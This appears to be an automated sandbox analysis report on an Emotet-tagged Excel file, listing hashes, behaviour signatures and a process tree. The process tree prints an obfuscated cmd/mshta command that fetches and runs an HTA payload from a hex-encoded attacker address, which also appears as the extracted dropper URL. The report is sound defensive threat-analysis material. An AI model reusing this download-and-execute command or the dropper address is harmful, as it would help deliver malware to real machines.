Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    134s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 15:07

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Report Analysis Logs

General

  • Target

    6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200.xls

  • Size

    142KB

  • MD5

    5edd92cb2674c2451f0e765f1db01e7d

  • SHA1

    74f5ca9155b295b0e9db3645e189ba7223d919ed

  • SHA256

    6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200

  • SHA512

    16894e09ea4c4afd6bd9c2e0e4f35ec797282279564ee045efc5a6e28c0f3b0379c7c6873a14e3c67974c35668eaeedf28e656722ccf85ca2f92da8d091b30d9

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3428
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:60
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          PID:2344

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3428-115-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3428-116-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

      Filesize

      64KB

      Download